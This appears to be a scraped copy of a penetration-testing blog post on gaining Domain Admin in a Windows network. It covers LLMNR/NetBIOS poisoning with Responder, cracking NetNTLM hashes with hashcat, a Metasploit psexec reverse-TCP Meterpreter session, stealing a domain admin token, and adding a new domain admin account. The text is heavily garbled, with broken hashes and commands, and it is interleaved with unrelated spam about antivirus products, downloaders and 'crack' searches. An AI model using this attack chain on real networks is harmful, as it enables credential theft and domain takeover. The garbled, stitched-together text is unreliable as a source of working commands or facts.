Alexander Korznikov. A bit of security. Let's start with sequence of posts about network penetration testing. In every Network PT, my goal is Domain Admin account. Every time get ethernet wall jack inside some organization, and start testing it without any prior knowledge about internal network topology, IP addresses etc. First of all, because of no knowledge if there is some implementation of NAC (Network Access Control), i perform a passive information gathering about the network, IP addresses etc. Configure your network- manager, that it will not request IP address from DHCP Server, to be quiet as possible.
So I start listening to traffic with wireshark and go out to take a cigarette : )Almost every computer talks. Broadcasting.. Even on small network, many many packets pass in. REMEMBER, Do not query DHCP Server for an IP Address! In first step there's only passive scanning. Fully promiscuous..
![The Message Was Checked By Eset Endpoint Antivirus The Message Was Checked By Eset Endpoint Antivirus](https://images.g2crowd.com/uploads/sponsored_content/image/196/Code42_2x.png.png)
When I come back from a smoke break, i've already got a list of stations broadcasting and exposing itselves. Wireshark > Statistics > Endpoint List > IPv. In terminal: # nano a. Ctrl+Shift+V (paste).
Eo '[0- 9]{1,3}\.[0- 9]{1,3}\.[0- 9]{1,3}\.[0- 9]{1,3}' > hosts. Let's assume that there is no NAC implemented (will talk about NAC Bypass in another post..)Now we have full network access including small list of active hosts.
Running Norton AntiVirus v16.7.2.11 on MS Windows XP SP3 (all updates). On log in, Norton continually displays the following message. MegaDownloader is a download client for MEGA.CO.NZ, allowing you to easily download files from MEGA.CO.NZ. Best IT security solutions for your home and business devices. Try ESET antivirus and internet security solutions for Windows, Android, Mac or Linux OS. A bit of secutiry blog, by Alexander Korznikov. Security, python, bash, penetration testing experiments. · I usually am on the internet a large portion of the day, and when I'm not doing that, I'm playing games or listening to music. When I go to sleep, I don't. · Windows 7 Forums is the largest help and support community, providing friendly help and advice for Microsoft Windows 7 Computers such as Dell, HP, Acer, Asus or a.
![The Message Was Checked By Eset Endpoint Antivirus The Message Was Checked By Eset Endpoint Antivirus](https://content.invisioncic.com/Meset/monthly_2017_08/K.png.cc48448b292c68f26f30a443ffc1e061.png)
As always, i will have a windows based network, with Active Directory services and lot of workstations. What to do? Quick win: LLMNR & Netbios poisoning. Responder. As i understood from dozens network penetration testings, organizations have two major weaknesses: 1. Weak password policy. Domain User == Local Administrator on his/her workstation. Responder will throw you large amount of Net.
NTLMv. 1/v. 2 hashes, that probably will be easy to crack./* Responder is very cool tool, that will answer to every LLMNR broadcast query, asking for downgrade to NETBIOS, and then request a hashed password. It's based on human factor (typos), outdated scripts, laptops that making use of multiple networks, etc.. Download and try it now : ) it has many other features. Explore it in your free time. You will get hashes like these: 1. TESTDOMAIN: 1. 12.
![The Message Was Checked By Eset Endpoint Antivirus The Message Was Checked By Eset Endpoint Antivirus](https://image.slidesharecdn.com/0fba96f8-fa42-420a-ad20-3764d8e3943b-161207171737/95/eset-endpoint-protection-standard-4-638.jpg?cb=1481131065)
· We have some 2008 R2 servers that cannot browse the shares of a 2003 box when using \\server1. It will open the shares when using \\ipaddress and.
F1. 42. C4. 8CDDAF4. D0. 39. 94. F2. F7. D9. 26. 8A: 0. 10. DA7. A6. 85. 1FD1. C0. A9. A1. 66. 09.
411 is the web s leading directory of contact info for people and businesses. Phone numbers, addresses, yellow pages, and more. Found results for 6.0.1.411 crack. Continues from Part 10. Please use this thread to discuss anti-virus, anti-spyware and firewall software. If you are having issues with certain software, a new.
D4. 68. 45. 00. 00.A0. 07. 30. 06. D0.D0. 06. 20. 03. 10.E0. 06. C0. 06. F0.
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C0. 00. 30. 02. C0. E0. 07. 30. 06. D0. E0. 06. C0. 06. F0. C0. 00. 50. 01. 60. D0. 06. 20. 03. 10. E0. 06. C0. 06. F0.
C0. 00. 80. 03. 00. E5. 23. 27. CBAC7.
A0. B5. 51. 68. 1A6. D1. 2FB2. FEB6. B6. A0. A6. 23. A9. 78. B2. 86. F0. 31. 41. EBFF8. EF0. A0. 01. F0. 05. 30. 04. 90. F0. 04. E0. 03. 10.
TESTDOMAIN: 8. F2. D7. E1. 91. 47. 26.
F4. 60. 00. 00. 00. C1. 70. 3E5. FC4. BDA1. A2. DDAF4. 07.
CF8. 41. AA9. 7DF7. B3. 57. 20. C: 1.
TESTDOMAIN: 7. DDDE7. E2. E1. 6F9. 06. 20.
E9. 75. 2EDD6. 5C0. A3. 51. 08. E5. 2DAF4. D1. 7BF1. 34. 8D7. F3. FCFA5: 1. 12.
TESTDOMAIN: 0. B8. CAC8. F5. D8. 0AC0. C4. 62. 89. A8. CE6. ACEB3. 78. 00. F5. F7. AA7. DAF4. 02. C3. 41. 56. 36: 1.
TESTDOMAIN: 6. BA8. A0. 2F2. F2. 82. DF2. A7. B2. C2. 10. 23.
B3. 63. B0. A6. E7. E3. AE3. 40. 18. C0. DAF4. 06. 68. B9. TESTDOMAIN: EFA7. E9. 01. 91. CE9. 87. D4. 5E3. A6. 0B9. D4. 48. D6. 38. DA9.
EA8. 01. 71. A7. 89. A2. 1DAF4. 0B1. 6CA: 1. TESTDOMAIN: C5. 72. ACF1. 08. 4CCD0. 00. FECE6. A7. BDAF4. B2. 11. 53. D4. 21.
DFB0. C6. 2E0. 09. C9. 6C3. 11: 1. 12. TESTDOMAIN: AA7. 36. CB4. 8DE1. 93. 08. FF7. 27. 7C2. 01. CEADAF4. 0D7. A7.
D5. 31. E2. 67. A4. DA0. 7D6. 2F7. 9: 1. TESTDOMAIN: A1. 36. DE2. AFC1. 8DAD0. F6. 0FB8. ACDADEF7.
BDB5. ED6. 57. 51. FFDAF4. 02. 02. 80.
E0. 26. 14. 36. 0: 1. Net. NTLM hashes can be cracked with many tools, i prefer: John- the- ripper / cuda.Hashcat / ocl. Hashcat.
In our first case, we successfully cracked some hash: # cuda. Hashcat - m 5. 50. Hashcat v. 2. 0. 1 starting.. TESTDOMAIN: 8. F2.
D7. E1. 91. 47. 26. F4. 60. 00. 00. 00. C1. 70. 3E5. FC4. BDA1. ADEADBE7. 75. CF8. 41. AA9. 7DF7. B3. 57. 20. C: 1.
Qwerty. 12. 3. billa: :TESTDOMAIN: 6. BA8. A0. 2F2. F2. DF2. 00. 00. 00. 00. A7. B2. C2. 10. 23.
DEADBEA6. E7. E3. AE3. 40. 18. C0. 6AE2. F8. 66. 8B9. 00. 0: 1. Ma. 12. 34. 56. michaelm: :TESTDOMAIN: C5. ACF1. 08. 4CCD0. 00.
FECE6. A7. BC8. A3. B2. 11. 53. D4. DEADBEC6. E0. 09. 5C9. 6C3. Bi. 01. 02. 03. I like metasploit.# msfconsole. Qwerty. 12. 3. msf exploit(psexec) > set rhost 1. LHOST < TAB> < TAB>. Started reverse TCP handler on 1.
Connecting to the server.. Authenticating to 1. Selecting Power. Shell target.
Executing the payload.. Service start timed out, OK if running a command or non- service executable.. Sending stage (9. Meterpreter session 1 opened (1. Server username: NT AUTHORITY\SYSTEM.
Now we've got a workstation in this organization. Quick win #1 Pass the token (the simple way). Process List. PID PPID Name Arch Session User Path.
System Process]. 4 0 System x. NT AUTHORITY\SYSTEM C: \Windows\System. NT AUTHORITY\SYSTEM C: \Windows\System.
NT AUTHORITY\SYSTEM C: \Windows\System. NT AUTHORITY\SYSTEM C: \Program Files (x.
NVIDIA Corporation\3. D Vision\nv. SCPAPISvr. C: \Program Files (x. Common Files\Acronis\Schedule.
NT AUTHORITY\NETWORK SERVICE C: \Windows\System. NT AUTHORITY\LOCAL SERVICE C: \Windows\System. NT AUTHORITY\SYSTEM C: \Program Files (x. Common Files\Acronis\Schedule. NT AUTHORITY\NETWORK SERVICE C: \Windows\System. NT AUTHORITY\SYSTEM c: \Program Files (x.
Common Files\Acronis\CDP\afcdpsrv. NT AUTHORITY\SYSTEM C: \Windows\System. NT AUTHORITY\LOCAL SERVICE C: \Windows\System. Apple. Mobile. Device.
Service. exe x. 64 0 NT AUTHORITY\SYSTEM C: \Program Files\Common Files\Apple\Mobile Device Support\Apple. Mobile. Device. Service. LMS. exe x. NT AUTHORITY\SYSTEM C: \Program Files (x. Intel\Intel(R) Management Engine Components\LMS\LMS.
NT AUTHORITY\SYSTEM C: \Program Files (x. Xerox Office Printing\Work. Centre SSW\Printing. Scout\xrksmdb. exe. RAVCpl. 64. exe x.
C: \Program Files\Realtek\Audio\HDA\RAVCpl. Pod. Service. exe x. NT AUTHORITY\SYSTEM C: \Program Files\i. Pod\bin\i. Pod. Service. NT AUTHORITY\LOCAL SERVICE C: \Windows\System.
C: \Windows\explorer. C: \Program Files\ESET\ESET NOD3. Antivirus\egui. exe. Paragon Ext. FS for Windows.
C: \Program Files (x. Paragon Software\Paragon Ext. FS for Windows\Paragon Ext. FS for Windows. exe. C: \Program Files\Microsoft Intelli. Point\ipoint. exe.
Stealing testdomain\domadmin token. Migrating from 1. Migration completed successfully. The request will be processed at a domain controller for domain testdomain.
User name domadmin. Global Group memberships *Domain Admins *Domain Users. The command completed successfully.
Pass. 12. 3 /add /domain. The request will be processed at a domain controller for domain testdomain. The command completed successfully. The request will be processed at a domain controller for domain testdomain. The command completed successfully.
Domain Admins" support /add /domain. The request will be processed at a domain controller for domain testdomain. The command completed successfully. Next post will be another examples gaining domain admin account. See you! Follow @nopernik.